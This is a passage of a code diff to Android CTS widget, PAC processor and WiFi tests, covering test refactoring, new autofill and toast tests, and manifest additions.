-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
 public final class PacProcessorTest {
-  static final String TAG = "PacProcessorCtsTest";
+    private static final String TAG = "PacProcessorCtsTest";
+    private static final long REMOTE_TIMEOUT_MS = 5000;
 
-  private ConnectivityManager mConnectivityManager;
+    private TestProcessClient mProcess;
 
-  @Before
-  public void setUp() {
-    Context context = InstrumentationRegistry.getInstrumentation().getContext();
-    mConnectivityManager =
-        context.getSystemService(ConnectivityManager.class);
-  }
+    @Before
+    public void setUp() throws Throwable {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        mProcess = TestProcessClient.createProcessB(context);
+    }
 
-  /**
-   * Test that each {@link PacProcessor#createInstance} call returns a new not null instance.
-   */
-  @Test
-  public void testCreatePacProcessor() {
-    PacProcessor pacProcessor = PacProcessor.createInstance();
-    PacProcessor otherPacProcessor = PacProcessor.createInstance();
+    static class TestCreatePacProcessor extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            PacProcessor pacProcessor = PacProcessor.createInstance();
+            PacProcessor otherPacProcessor = PacProcessor.createInstance();
 
-    Assert.assertNotNull("createPacProcessor must not return null", pacProcessor);
-    Assert.assertNotNull("createPacProcessor must not return null", otherPacProcessor);
+            Assert.assertNotNull("createPacProcessor must not return null", pacProcessor);
+            Assert.assertNotNull("createPacProcessor must not return null", otherPacProcessor);
 
-    Assert.assertFalse("createPacProcessor must return different objects", pacProcessor == otherPacProcessor);
+            Assert.assertFalse("createPacProcessor must return different objects", pacProcessor == otherPacProcessor);
 
-    pacProcessor.setProxyScript(
-        "function FindProxyForURL(url, host) {" +
-        "return \"PROXY 1.2.3.4:8080\";" +
-        "}"
-    );
-    otherPacProcessor.setProxyScript(
-        "function FindProxyForURL(url, host) {" +
-        "return \"PROXY 5.6.7.8:8080\";" +
-        "}"
-    );
+            pacProcessor.setProxyScript(
+                    "function FindProxyForURL(url, host) {" +
+                            "return \"PROXY 1.2.3.4:8080\";" +
+                            "}"
+            );
+            otherPacProcessor.setProxyScript(
+                    "function FindProxyForURL(url, host) {" +
+                            "return \"PROXY 5.6.7.8:8080\";" +
+                            "}"
+            );
 
-    Assert.assertEquals("PROXY 1.2.3.4:8080", pacProcessor.findProxyForUrl("test.url"));
-    Assert.assertEquals("PROXY 5.6.7.8:8080", otherPacProcessor.findProxyForUrl("test.url"));
+            Assert.assertEquals("PROXY 1.2.3.4:8080", pacProcessor.findProxyForUrl("test.url"));
+            Assert.assertEquals("PROXY 5.6.7.8:8080", otherPacProcessor.findProxyForUrl("test.url"));
 
-    pacProcessor.release();
-    otherPacProcessor.release();
-  }
+            pacProcessor.release();
+            otherPacProcessor.release();
+        }
+    }
 
-  /**
-   * Test PacProcessor does not have set Network by default.
-   */
-  @Test
-  public void testDefaultNetworkIsNull() {
-    PacProcessor pacProcessor = PacProcessor.createInstance();
-    Assert.assertNull("PacProcessor must not have Network set", pacProcessor.getNetwork());
+    /**
+     * Test that each {@link PacProcessor#createInstance} call returns a new not null instance.
+     */
+    @Test
+    public void testCreatePacProcessor() throws Throwable {
+        mProcess.run(TestCreatePacProcessor.class, REMOTE_TIMEOUT_MS);
+    }
 
-    pacProcessor.release();
-  }
+    static class TestDefaultNetworkIsNull extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            PacProcessor pacProcessor = PacProcessor.createInstance();
+            Assert.assertNull("PacProcessor must not have Network set", pacProcessor.getNetwork());
 
-  /**
-   * Test that setNetwork correctly set Network to PacProcessor.
-   */
-  @Test
-  public void testSetNetwork() {
-    Network[] networks = mConnectivityManager.getAllNetworks();
-    Assert.assertTrue("testSetNetwork requires at least one available Network", networks.length > 0);
+            pacProcessor.release();
+        }
+    }
 
-    PacProcessor pacProcessor = PacProcessor.createInstance();
-    PacProcessor otherPacProcessor = PacProcessor.createInstance();
+    /**
+     * Test PacProcessor does not have set Network by default.
+     */
+    @Test
+    public void testDefaultNetworkIsNull() throws Throwable {
+        mProcess.run(TestDefaultNetworkIsNull.class, REMOTE_TIMEOUT_MS);
+    }
 
-    pacProcessor.setNetwork(networks[0]);
-    Assert.assertEquals("Network is not set", networks[0], pacProcessor.getNetwork());
-    Assert.assertNull("setNetwork must not affect other PacProcessors", otherPacProcessor.getNetwork());
+    static class TestSetNetwork extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            ConnectivityManager connectivityManager =
+                    ctx.getSystemService(ConnectivityManager.class);
+            Network[] networks = connectivityManager.getAllNetworks();
+            Assert.assertTrue("testSetNetwork requires at least one available Network", networks.length > 0);
 
-    pacProcessor.setNetwork(null);
-    Assert.assertNull("Network is not unset", pacProcessor.getNetwork());
+            PacProcessor pacProcessor = PacProcessor.createInstance();
+            PacProcessor otherPacProcessor = PacProcessor.createInstance();
 
-    pacProcessor.release();
-    otherPacProcessor.release();
-  }
-}
+            pacProcessor.setNetwork(networks[0]);
+            Assert.assertEquals("Network is not set", networks[0], pacProcessor.getNetwork());
+            Assert.assertNull("setNetwork must not affect other PacProcessors", otherPacProcessor.getNetwork());
+
+            pacProcessor.setNetwork(null);
+            Assert.assertNull("Network is not unset", pacProcessor.getNetwork());
+
+            pacProcessor.release();
+            otherPacProcessor.release();
+        }
+    }
+    /**
+     * Test that setNetwork correctly set Network to PacProcessor.
+     */
+    @Test
+    public void testSetNetwork() throws Throwable {
+        mProcess.run(TestSetNetwork.class, REMOTE_TIMEOUT_MS);
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/imageview_layout.xml b/tests/tests/widget/res/layout/imageview_layout.xml
index 5de0769..00dfc79 100644
--- a/tests/tests/widget/res/layout/imageview_layout.xml
+++ b/tests/tests/widget/res/layout/imageview_layout.xml
@@ -49,5 +49,26 @@
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
+    <ImageView
+        android:id="@+id/imageview_important_auto"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="auto"
+        android:importantForContentCapture="auto" />
+
+    <ImageView
+        android:id="@+id/imageview_important_no"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="no"
+        android:importantForContentCapture="no" />
+
+    <ImageView
+        android:id="@+id/imageview_important_yes"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="yes"
+        android:importantForContentCapture="yes" />
+
 </LinearLayout>
 
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index e09946d..b3392b3 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -60,6 +60,7 @@
 import android.net.Uri;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.View;
 import android.widget.ImageView;
 import android.widget.ImageView.ScaleType;
 import android.widget.cts.util.TestUtils;
@@ -159,6 +160,59 @@
 
     @UiThreadTest
     @Test
+    public void testConstructorImportantForAutofill() {
+        ImageView imageView = new ImageView(mActivity);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = new ImageView(mActivity, null);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_auto);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_no);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_yes);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_YES, imageView.getImportantForAutofill());
+        assertTrue(imageView.isImportantForAutofill());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructorImportantForContentCapture() {
+        ImageView imageView = new ImageView(mActivity);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = new ImageView(mActivity, null);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_auto);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_no);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_NO,
+                imageView.getImportantForContentCapture());
+        assertFalse(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_yes);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+    }
+
+    @UiThreadTest
+    @Test
     public void testInvalidateDrawable() {
         mImageViewRegular.invalidateDrawable(null);
     }
diff --git a/tests/tests/widget/src/android/widget/cts/OWNERS b/tests/tests/widget/src/android/widget/cts/OWNERS
index dd41f7f..080c707 100644
--- a/tests/tests/widget/src/android/widget/cts/OWNERS
+++ b/tests/tests/widget/src/android/widget/cts/OWNERS
@@ -1 +1,2 @@
 per-file TextView*.java, EditText*.java = siyamed@google.com, nona@google.com, clarabayarri@google.com
+per-file ToastTest.java = beverlyt@google.com, brufino@google.com, jtomljanovic@google.com, juliacr@google.com
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index f547bed..a6ec3fa 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -696,7 +696,7 @@
         assertNull(newActivity);
 
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mRemoteViews.setOnClickPendingIntent(R.id.remoteView_image, pendingIntent);
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         mActivityRule.runOnUiThread(() -> view.performClick());
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java b/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java
index 51e2696..3140f50 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java
@@ -33,7 +33,6 @@
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyNoMoreInteractions;
-import static org.mockito.Mockito.verifyZeroInteractions;
 import static org.mockito.Mockito.when;
 
 import android.annotation.NonNull;
@@ -55,7 +54,6 @@
 import android.view.ContentInfo;
 import android.view.DragEvent;
 import android.view.OnReceiveContentListener;
-import android.view.View;
 import android.view.View.MeasureSpec;
 import android.view.autofill.AutofillValue;
 import android.view.inputmethod.EditorInfo;
@@ -183,42 +181,6 @@
         assertThat(editorInfo.contentMimeTypes).isEqualTo(receiverMimeTypes);
     }
 
-    @UiThreadTest
-    @Test
-    public void testTextView_getAutofillType_noCustomReceiver() throws Exception {
-        initTextViewForEditing("", 0);
-        assertThat(mTextView.getAutofillType()).isEqualTo(View.AUTOFILL_TYPE_TEXT);
-    }
-
-    @UiThreadTest
-    @Test
-    public void testTextView_getAutofillType_customReceiver() throws Exception {
-        initTextViewForEditing("", 0);
-
-        // Setup: Configure the receiver to a mock impl that supports text and images.
-        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
-        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
-
-        // Assert that the autofill type returned is still AUTOFILL_TYPE_TEXT.
-        assertThat(mTextView.getAutofillType()).isEqualTo(View.AUTOFILL_TYPE_TEXT);
-        verifyZeroInteractions(mMockReceiver);
-    }
-
-    @UiThreadTest
-    @Test
-    public void testTextView_getAutofillType_customReceiver_oldTargetSdk() throws Exception {
-        configureAppTargetSdkToR();
-        initTextViewForEditing("", 0);
-
-        // Setup: Configure the receiver to a mock impl that supports text and images.
-        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
-        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
-
-        // Assert that the autofill type returned is still AUTOFILL_TYPE_TEXT.
-        assertThat(mTextView.getAutofillType()).isEqualTo(View.AUTOFILL_TYPE_TEXT);
-        verifyZeroInteractions(mMockReceiver);
-    }
-
     // ============================================================================================
     // Tests to verify the behavior of TextViewOnReceiveContentListener.
     // ============================================================================================
@@ -659,8 +621,7 @@
         initTextViewForEditing("xz", 1);
 
         // Trigger autofill. This should execute the default receiver.
-        ClipData clip = ClipData.newPlainText("test", "y");
-        triggerAutofill(clip);
+        triggerAutofill("y");
         assertTextAndCursorPosition("y", 1);
     }
 
@@ -672,8 +633,8 @@
         mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
 
         // Trigger autofill and assert that the custom receiver was executed.
-        ClipData clip = ClipData.newPlainText("test", "y");
-        triggerAutofill(clip);
+        triggerAutofill("y");
+        ClipData clip = ClipData.newPlainText("", "y");
         verify(mMockReceiver, times(1)).onReceiveContent(
                 eq(mTextView), contentEq(clip, SOURCE_AUTOFILL, 0));
         verifyNoMoreInteractions(mMockReceiver);
@@ -682,40 +643,6 @@
 
     @UiThreadTest
     @Test
-    public void testAutofill_customReceiver_unsupportedMimeType() throws Exception {
-        initTextViewForEditing("xz", 1);
-        String[] receiverMimeTypes = new String[] {"text/*"};
-        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
-
-        // Trigger autofill and assert that the custom receiver was executed.
-        ClipData clip = new ClipData("test", new String[]{"video/mp4"},
-                new ClipData.Item("y", null, SAMPLE_CONTENT_URI));
-        triggerAutofill(clip);
-        verify(mMockReceiver, times(1)).onReceiveContent(
-                eq(mTextView), contentEq(clip, SOURCE_AUTOFILL, 0));
-        verifyNoMoreInteractions(mMockReceiver);
-        assertTextAndCursorPosition("xz", 1);
-    }
-
-    @UiThreadTest
-    @Test
-    public void testAutofill_oldTargetSdk() throws Exception {
-        configureAppTargetSdkToR();
-        initTextViewForEditing("xz", 1);
-
-        // Try autofill with text. This should fill the field.
-        CharSequence text = "abc";
-        triggerAutofill(text);
-        assertTextAndCursorPosition("abc", 3);
-
-        // Try autofill with a ClipData. This should fill the field.
-        ClipData clip = ClipData.newPlainText("test", "xyz");
-        triggerAutofill(clip);
-        assertTextAndCursorPosition("xyz", 3);
-    }
-
-    @UiThreadTest
-    @Test
     public void testProcessText_noCustomReceiver() throws Exception {
         initTextViewForEditing("Original text", 0);
         Selection.setSelection(mTextView.getEditableText(), 0, mTextView.getText().length());
@@ -826,10 +753,6 @@
         mTextView.autofill(AutofillValue.forText(text));
     }
 
-    private void triggerAutofill(ClipData clip) {
-        mTextView.autofill(AutofillValue.forRichContent(clip));
-    }
-
     private boolean triggerDropEvent(ClipData clip) {
         DragEvent dropEvent = createDragEvent(DragEvent.ACTION_DROP, mTextView.getX(),
                 mTextView.getY(), clip);
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 9b2dfdd..ad8d2d8 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -3375,6 +3375,23 @@
 
     @UiThreadTest
     @Test
+    public void setSetImeTemporarilyConsumesInput() {
+        InputConnection input = initTextViewForSimulatedIme();
+        mTextView.setCursorVisible(true);
+        assertTrue(mTextView.isCursorVisible());
+
+        mTextView.setImeTemporarilyConsumesInput(true);
+        assertFalse(mTextView.isCursorVisible());
+
+        mTextView.setCursorVisible(true);
+        assertFalse(mTextView.isCursorVisible());
+
+        input.closeConnection();
+        assertTrue(mTextView.isCursorVisible());
+    }
+
+    @UiThreadTest
+    @Test
     public void testPerformLongClick() {
         mTextView = findTextView(R.id.textview_text);
         mTextView.setText("This is content");
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 4249bbf..d2a6a90 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -32,9 +32,9 @@
 
 import static java.util.stream.Collectors.toList;
 
+import android.app.NotificationManager;
 import android.app.UiAutomation;
 import android.app.UiAutomation.AccessibilityEventFilter;
-import android.compat.Compatibility;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -43,10 +43,8 @@
 import android.content.pm.PackageManager;
 import android.graphics.drawable.Drawable;
 import android.os.ConditionVariable;
-import android.os.ServiceManager;
 import android.os.SystemClock;
 import android.provider.Settings;
-import android.util.ArraySet;
 import android.view.Gravity;
 import android.view.View;
 import android.view.ViewTreeObserver;
@@ -67,8 +65,6 @@
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.TestUtils;
-import com.android.internal.compat.CompatibilityChangeConfig;
-import com.android.internal.compat.IPlatformCompat;
 
 import junit.framework.Assert;
 
@@ -80,7 +76,6 @@
 
 import java.util.ArrayList;
 import java.util.List;
-import java.util.Set;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -104,7 +99,6 @@
     private static final ComponentName COMPONENT_TRANSLUCENT_ACTIVITY =
             ComponentName.unflattenFromString("android.widget.cts.app/.TranslucentActivity");
     private static final double TOAST_DURATION_ERROR_TOLERANCE_FRACTION = 0.25;
-    private static final long RATE_LIMIT_TOASTS_CHANGE_ID = 154198299L;
 
     // The following two fields work together to define rate limits for toasts, where each limit is
     // defined as TOAST_RATE_LIMITS[i] toasts are allowed in the window of length
@@ -118,7 +112,7 @@
     private ViewTreeObserver.OnGlobalLayoutListener mLayoutListener;
     private ConditionVariable mToastShown;
     private ConditionVariable mToastHidden;
-    private IPlatformCompat mPlatformCompat;
+    private NotificationManager mNotificationManager;
 
     @Rule
     public ActivityTestRule<CtsActivity> mActivityRule =
@@ -130,16 +124,19 @@
         mContext = getInstrumentation().getContext();
         mUiAutomation = getInstrumentation().getUiAutomation();
         mLayoutListener = () -> mLayoutDone = true;
-        mPlatformCompat = IPlatformCompat.Stub.asInterface(
-                ServiceManager.getService(Context.PLATFORM_COMPAT_SERVICE));
-        setToastRateLimitingEnabled(false);
+        mNotificationManager =
+                mContext.getSystemService(NotificationManager.class);
+        // disable rate limiting for tests
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(false));
     }
 
     @After
     public void teardown() {
         waitForToastToExpire();
-        SystemUtil.runWithShellPermissionIdentity(() ->
-                mPlatformCompat.clearOverridesForTest(mContext.getPackageName()));
+        // re-enable rate limiting
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
     }
 
     @UiThreadTest
@@ -158,11 +155,24 @@
         PollingCheck.waitFor(TIME_OUT, () -> null != view.getParent());
     }
 
+    private static void assertCustomToastShown(CustomToastInfo customToastInfo) {
+        PollingCheck.waitFor(TIME_OUT, customToastInfo::isShowing);
+    }
+
+    private static void assertCustomToastHidden(CustomToastInfo customToastInfo) {
+        PollingCheck.waitFor(TIME_OUT, () -> !customToastInfo.isShowing());
+    }
+
     private static void assertCustomToastShownAndHidden(final View view) {
         assertCustomToastShown(view);
         PollingCheck.waitFor(TIME_OUT, () -> null == view.getParent());
     }
 
+    private static void assertCustomToastShownAndHidden(CustomToastInfo customToastInfo) {
+        assertCustomToastShown(customToastInfo);
+        assertCustomToastHidden(customToastInfo);
+    }
+
     private void assertTextToastShownAndHidden() {
         assertTrue(mToastShown.block(TIME_OUT));
         assertTrue(mToastHidden.block(TIME_OUT));
@@ -179,6 +189,14 @@
         assertNull(view.getParent());
     }
 
+    private static void assertCustomToastNotShown(CustomToastInfo customToastInfo) {
+        assertThat(customToastInfo.isShowing()).isFalse();
+
+        // sleep a while and then make sure it's still not shown
+        SystemClock.sleep(TIME_FOR_UI_OPERATION);
+        assertThat(customToastInfo.isShowing()).isFalse();
+    }
+
     private void assertTextToastNotShown(TextToastInfo textToastInfo) {
         assertFalse(textToastInfo.blockOnToastShown(TIME_FOR_UI_OPERATION));
     }
@@ -237,23 +255,6 @@
         }
     }
 
-    /** Enable or disable the compat change for rate limiting toasts. */
-    private void setToastRateLimitingEnabled(boolean enable) {
-        Set<Long> enabled = new ArraySet<>();
-        Set<Long> disabled = new ArraySet<>();
-        if (enable) {
-            enabled.add(RATE_LIMIT_TOASTS_CHANGE_ID);
-        } else {
-            disabled.add(RATE_LIMIT_TOASTS_CHANGE_ID);
-        }
-
-        CompatibilityChangeConfig overrides =
-                new CompatibilityChangeConfig(
-                        new Compatibility.ChangeConfig(enabled, disabled));
-        SystemUtil.runWithShellPermissionIdentity(() ->
-                mPlatformCompat.setOverridesForTest(overrides, mContext.getPackageName()));
-    }
-
     @Test
     public void testShow_whenCustomToast() throws Throwable {
         makeCustomToast();
@@ -923,7 +924,7 @@
     public void testPackageCantPostMoreThanMaxToastsQuickly() throws Throwable {
         List<TextToastInfo> toasts =
                 createTextToasts(MAX_PACKAGE_TOASTS_LIMIT + 1, "Text", Toast.LENGTH_SHORT);
-        showTextToasts(toasts);
+        showToasts(toasts);
 
         assertTextToastsShownAndHidden(toasts.subList(0, MAX_PACKAGE_TOASTS_LIMIT));
         assertTextToastNotShown(toasts.get(MAX_PACKAGE_TOASTS_LIMIT));
@@ -931,7 +932,9 @@
 
     @Test
     public void testRateLimitingToasts() throws Throwable {
-        setToastRateLimitingEnabled(true);
+        // enable rate limiting to test it
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
 
         long totalTimeSpentMs = 0;
         int shownToastsNum = 0;
@@ -943,7 +946,7 @@
             List<TextToastInfo> toasts =
                     createTextToasts(currentToastNum + 1, "Text", Toast.LENGTH_SHORT);
             long startTime = SystemClock.elapsedRealtime();
-            showTextToasts(toasts);
+            showToasts(toasts);
 
             assertTextToastsShownAndHidden(toasts.subList(0, currentToastNum));
             assertTextToastNotShown(toasts.get(currentToastNum));
@@ -961,6 +964,20 @@
         }
     }
 
+    @Test
+    public void testCustomToastPostedWhileInForeground_notShownWhenAppGoesToBackground()
+            throws Throwable {
+        List<CustomToastInfo> toasts = createCustomToasts(2, "Custom", Toast.LENGTH_SHORT);
+        showToasts(toasts);
+        assertCustomToastShown(toasts.get(0));
+
+        // move to background
+        mActivityRule.finishActivity();
+
+        assertCustomToastHidden(toasts.get(0));
+        assertCustomToastNotShown(toasts.get(1));
+    }
+
     /** Create given number of text toasts with the same given text and length. */
     private List<TextToastInfo> createTextToasts(int num, String text, int length)
             throws Throwable {
@@ -974,9 +991,22 @@
         return toasts;
     }
 
-    private void showTextToasts(List<TextToastInfo> toasts) throws Throwable {
+    /** Create given number of custom toasts with the same given text and length. */
+    private List<CustomToastInfo> createCustomToasts(int num, String text, int length)
+            throws Throwable {
+        List<CustomToastInfo> toasts = new ArrayList<>();
         mActivityRule.runOnUiThread(() -> {
-            for (TextToastInfo t : toasts) {
+            toasts.addAll(Stream
+                    .generate(() -> CustomToastInfo.create(mContext, text, length))
+                    .limit(num + 1)
+                    .collect(toList()));
+        });
+        return toasts;
+    }
+
+    private void showToasts(List<? extends ToastInfo> toasts) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            for (ToastInfo t : toasts) {
                 t.getToast().show();
             }
         });
@@ -1071,7 +1101,7 @@
         }
     }
 
-    private static class TextToastInfo {
+    private static class TextToastInfo implements ToastInfo {
         private final Toast mToast;
         private final ConditionVariable mToastShown;
         private final ConditionVariable mToastHidden;
@@ -1093,7 +1123,8 @@
             return new TextToastInfo(t, toastShown, toastHidden);
         }
 
-        Toast getToast() {
+        @Override
+        public Toast getToast() {
             return mToast;
         }
 
@@ -1105,4 +1136,34 @@
             return mToastHidden.block(timeout);
         }
     }
+
+    private static class CustomToastInfo implements ToastInfo {
+        private final Toast mToast;
+
+        CustomToastInfo(Toast toast) {
+            mToast = toast;
+        }
+
+        static CustomToastInfo create(Context context, String text, int toastLength) {
+            Toast t = new Toast(context);
+            t.setDuration(toastLength);
+            TextView view = new TextView(context);
+            view.setText(text);
+            t.setView(view);
+            return new CustomToastInfo(t);
+        }
+
+        @Override
+        public Toast getToast() {
+            return mToast;
+        }
+
+        boolean isShowing() {
+            return mToast.getView().getParent() != null;
+        }
+    }
+
+    interface ToastInfo {
+        Toast getToast();
+    }
 }
diff --git a/tests/tests/widget29/src/android/widget/cts29/ToastTest.java b/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
index 49cd0de..d1fa4b7 100644
--- a/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
+++ b/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
@@ -24,6 +24,7 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
+import android.app.NotificationManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.drawable.Drawable;
@@ -52,6 +53,7 @@
 
 import junit.framework.Assert;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -70,10 +72,12 @@
     private static final int ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS = 3000;
     private static final long TIME_FOR_UI_OPERATION  = 1000L;
     private static final long TIME_OUT = 5000L;
+
     private Toast mToast;
     private Context mContext;
     private boolean mLayoutDone;
     private ViewTreeObserver.OnGlobalLayoutListener mLayoutListener;
+    private NotificationManager mNotificationManager;
 
     @Rule
     public ActivityTestRule<CtsActivity> mActivityRule =
@@ -83,6 +87,18 @@
     public void setup() {
         mContext = InstrumentationRegistry.getTargetContext();
         mLayoutListener = () -> mLayoutDone = true;
+        mNotificationManager =
+                mContext.getSystemService(NotificationManager.class);
+        // disable rate limiting for tests
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(false));
+    }
+
+    @After
+    public void teardown() {
+        // re-enable rate limiting
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
     }
 
     @UiThreadTest
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
index bd6869a..4e74d2f 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
@@ -25,4 +25,9 @@
     srcs: [
         "src/**/*.java"
     ],
+
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+    ],
 }
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
index 96fb0a6..9ad760b 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
 
@@ -50,5 +51,12 @@
             android:name=".RetrieveConnectionInfoAndReturnStatusService"
             android:permission="android.permission.BIND_JOB_SERVICE"
             android:exported="true" />
+        <activity
+            android:name=".RetrieveTransportInfoAndReturnStatusActivity"
+            android:exported="true" />
+        <service
+            android:name=".RetrieveTransportInfoAndReturnStatusService"
+            android:permission="android.permission.BIND_JOB_SERVICE"
+            android:exported="true" />
     </application>
 </manifest>
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
new file mode 100644
index 0000000..9f7178b
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
